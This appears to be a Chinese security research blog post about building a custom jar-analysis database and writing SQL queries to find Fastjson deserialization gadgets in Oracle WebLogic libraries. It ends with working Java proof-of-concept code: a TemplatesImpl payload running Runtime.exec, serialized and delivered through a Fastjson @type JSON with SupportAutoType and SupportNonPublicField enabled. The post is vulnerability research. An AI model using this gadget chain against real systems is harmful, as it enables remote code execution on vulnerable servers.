原创 Y4Sec Team 2023-08-27 14:00 浙江
自己编写工具从百万个方法中寻找 Fasjson Gadget 的过程
很早以前写了一个 Jar Analyzer GUI 工具,用于分析任意 Jar 包的内容。不过不包括反混淆等高级内容,只是简单的方法调用搜索,字符串搜索等功能。大概界面和功能如下:
网上已经有项目,公开了 Fastjson 目前的黑名单
https://github.com/LeadroyaL/fastjson-blacklist
经过思考,这个场景正好适合 Jar-Analyzer-Cli 工具
(1)Jar 巨大且数量极多,人工处理很麻烦(2)Fastjson 的 Gadget 是有规律的,可以通过某些语句搜索0x03 构建数据库编译一个 Jar-Analyzer-Cli 工具,使用 java -jar 启动即可
输入命令如下:(--jar 可以传入一个 jar 或是一个 jar 目录)java -jar jar-analyzer-cli-0.0.4.jar build --jar C:\Oracle\Middleware\Oracle_Home\wlserver\modules运行比较耗时,需要大约 5 分钟左右
interface_table: 接口表,一个接口的基本信息
jar_table: jar文件表,输入所有的jar信息保存在这里
member_table: 类成员变量表,例如有哪些字段
method_call_table: 方法调用表,显而易见
method_impl_table: 方法实现表,显而易见
method_table: 方法信息表,一个方法的基本信息
这里我对于表的设计很糟糕,很多表里有重复的信息,本意是为了避免查询时候跨表连接,但实际上很多查询还是离不开跨表(见后文)
0x04 分析构建好了数据库,接下来是分析 Gadget先给出一个基本的 SQL 语句,用于查询所有类的 getter 方法SELECT DISTINCT mct.caller_method_name, mct.caller_class_nameFROM method_call_table mctWHERE mct.caller_method_name REGEXP '^get[A-Z][a-zA-Z0-9]*$'
SELECT DISTINCT mct.caller_method_name, mct.caller_class_nameFROM method_call_table mctINNER JOIN method_table mt ON mct.caller_class_name = mt.class_nameAND mct.caller_method_name = mt.method_nameWHERE mct.caller_method_name REGEXP '^get[A-Z][a-zA-Z0-9]*$'AND mct.caller_method_desc LIKE '%()%'AND mt.access & 1 = 1
SELECT DISTINCT mct.caller_method_name, mct.caller_class_nameFROM method_call_table mctINNER JOIN method_table mt ON mct.caller_class_name = mt.class_nameAND mct.caller_method_name = mt.method_nameWHERE mct.caller_method_name REGEXP '^get[A-Z][a-zA-Z0-9]*$'AND mct.caller_method_desc LIKE '%()%'AND mt.access & 1 = 1AND (mct.caller_class_name LIKE 'weblogic/%' OR mct.caller_class_name LIKE 'com/bea/%')
跨多个方法的调用是否可以用 SQL 做呢?留个悬念
0x05 进阶分析回到主题,接下来需要确认 callee 方法有哪些(或大家说的 sink) (1)Context lookup 触发 JNDI (最常见)(2)Runtime exec / ProcessBuilder 等 (感觉不常见)(3)ObjectInputStream readObject
(4)defineClass 等操作,这里就不考虑了(5)各种文件相关操作,这里就不考虑了
来写一个 Context lookup 的 SQL 语句吧,在上文的 SQL 语句基础上,加了两个新条件 callee class name 和 callee method name
SELECT DISTINCT mct.caller_method_name, mct.caller_class_nameFROM method_call_table mctINNER JOIN method_table mt ON mct.caller_class_name = mt.class_nameAND mct.caller_method_name = mt.method_nameWHERE mct.caller_method_name REGEXP '^get[A-Z][a-zA-Z0-9]*$'AND mct.caller_method_desc LIKE '%()%'AND mt.access & 1 = 1AND (mct.caller_class_name LIKE 'weblogic/%' OR mct.caller_class_name LIKE 'com/bea/%')AND mct.callee_class_name = 'javax/naming/Context'AND mct.callee_method_name = 'lookup'
SELECT DISTINCT mct.caller_method_name, mct.caller_class_nameFROM method_call_table mctINNER JOIN method_table mt ON mct.caller_class_name = mt.class_nameAND mct.caller_method_name = mt.method_nameWHERE mct.caller_method_name REGEXP '^get[A-Z][a-zA-Z0-9]*$'AND mct.caller_method_desc LIKE '%()%'AND mt.access & 1 = 1AND (mct.caller_class_name LIKE 'weblogic/%' OR mct.caller_class_name LIKE 'com/bea/%')AND mct.callee_class_name = 'java/lang/Runtime'AND mct.callee_method_name = 'exec'
现在直接的分析已经确定是找不到我们希望的目标了,被迫只能使用更复杂的 SQL 语句来做两层调用getX -> methodA -> context.lookup / ois.readObject这样的 SQL 语句写起来会有一些难度,大致的思路是这样:先 SELECT 拿到所有调用 ctx.lookup 方法的 caller 信息,然后这个 caller 作为 callee 查询方法调用表里所有的新 caller 信息。这个新 caller 信息如果匹配到了 getter 方法规范,且它属于 weblogic 或 com/bea 下的类,那么把这个 getter 方法和它的类名查出来这里老 caller 作为新 caller 的 callee 可能大家无法理解:(1)a 方法调用了 readObject 方法此时 a 方法是 caller callee 是 readObject,a 是 老 caller
(2)b 方法调用了 a 方法
此时新 caller 是 b 方法,老 caller a 其实是此时的 callee 方法
SELECT mct.caller_method_name, mct.caller_class_nameFROM method_call_table mctINNER JOIN (SELECT DISTINCT caller_class_name, caller_method_nameFROM method_call_table mct1WHERE mct1.callee_class_name = 'javax/naming/Context'AND mct1.callee_method_name = 'lookup') AS callee_info ON mct.callee_class_name = callee_info.caller_class_nameAND mct.callee_method_name = callee_info.caller_method_nameWHERE mct.caller_method_name REGEXP '^get[A-Z][a-zA-Z0-9]*$'AND mct.caller_method_desc LIKE '%()%'AND (mct.caller_class_name LIKE 'weblogic/%' OR mct.caller_class_name LIKE 'com/bea/%')
SELECT mct.caller_method_name, mct.caller_class_nameFROM method_call_table mctINNER JOIN (SELECT DISTINCT caller_class_name, caller_method_nameFROM method_call_table mct1WHERE mct1.callee_class_name = 'java/io/ObjectInputStream'AND mct1.callee_method_name = 'readObject') AS callee_info ON mct.callee_class_name = callee_info.caller_class_nameAND mct.callee_method_name = callee_info.caller_method_nameWHERE mct.caller_method_name REGEXP '^get[A-Z][a-zA-Z0-9]*$'AND mct.caller_method_desc LIKE '%()%'AND (mct.caller_class_name LIKE 'weblogic/%' OR mct.caller_class_name LIKE 'com/bea/%')
我们成功从50万以上的方法中,一步一步筛选为 11 万,最终找到 10 条可能的数据,结合人工分析后,发现了一处反序列化的 Gadget遗憾的是,这里的 _bytes 属性是私有的,需要借助 Fastjson 的 Feature.SupportNonPublicField 属性才可以设置
public static byte[] genPayload(String cmd) throws Exception {ClassPool pool = ClassPool.getDefault();CtClass clazz = pool.makeClass("a");CtClass superClass = pool.get(AbstractTranslet.class.getName());clazz.setSuperclass(superClass);CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);constructor.setBody("Runtime.getRuntime().exec(\"" + cmd + "\");");clazz.addConstructor(constructor);clazz.getClassFile().setMajorVersion(49);return clazz.toBytecode();}public static byte[] getPayload(String cmd) throws Exception{TemplatesImpl templates = TemplatesImpl.class.newInstance();setValue(templates, "_bytecodes", new byte[][]{genPayload(cmd)});setValue(templates, "_name", "1");setValue(templates, "_tfactory", null);JSONArray jsonArray = new JSONArray();jsonArray.add(templates);BadAttributeValueExpException bd = new BadAttributeValueExpException(null);setValue(bd, "val", jsonArray);HashMap hashMap = new HashMap();hashMap.put(templates, bd);ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);objectOutputStream.writeObject(hashMap);objectOutputStream.close();return byteArrayOutputStream.toByteArray();}
public static void main(String[] args)throws Exception {byte[] serBytes = Y4HackJSON.getPayload("calc.exe");String ser = Base64.getEncoder().encodeToString(serBytes);String json = "{{\"@type\":\"weblogic.wsee.reliability2.saf.SequenceSAFMap$ExternalizableWrapper\"," +"\"_bytes\":\"" + ser + "\"}:\"a\"}";Object obj = JSONObject.parse(json,Feature.SupportAutoType,Feature.SupportNonPublicField);System.out.println(obj);}
这篇文章讲了一次 Fastjson Gadget 寻找的过程(1)从 weblogic 一共 400 多个 Jar 中构建数据库(2)分析得到数百万个方法以及50万条可能的链(3)一步一步缩小,从50万到20万再到10万条数据(4)getter 直接调用搜索,发现不存在可利用点(5)尝试构造复杂的 SQL 语句进行二层调用搜索
(6)最终从50万筛选到数十条数据,结合人工分析找到可利用的点但是,这篇文章没有实战价值,因为:(1)WebLogic 真正的运行环境是否包含了这个依赖(2)WebLogic 全局反序列化黑名单可能使用 TemplatesImpl(3)开 AutuType 已经够罕见了,更何况 SupportNonPublicField 属性,整个 Github 也搜不到几处同时开启这两个属性的例子通过这次尝试,我编写 SQL 语句的能力有了一些提高,也发现 SQL 语句的强大,可以做到很多一开始想不到的事情
中间我忽略了很多,比如人工审最终过滤的几十条只是凭感觉在做,而不是每一个类都细看;比如最终 callee 方法(或者说 sink 点)只选择了最常见的几种,可能还有文件操作或者其他姿势的RCE;比如我只分析了 Oracle WebLogic Server 但是还有很多很多组件目前没有在黑名单中看到(JBoss WebSphpere ColdFusion等)
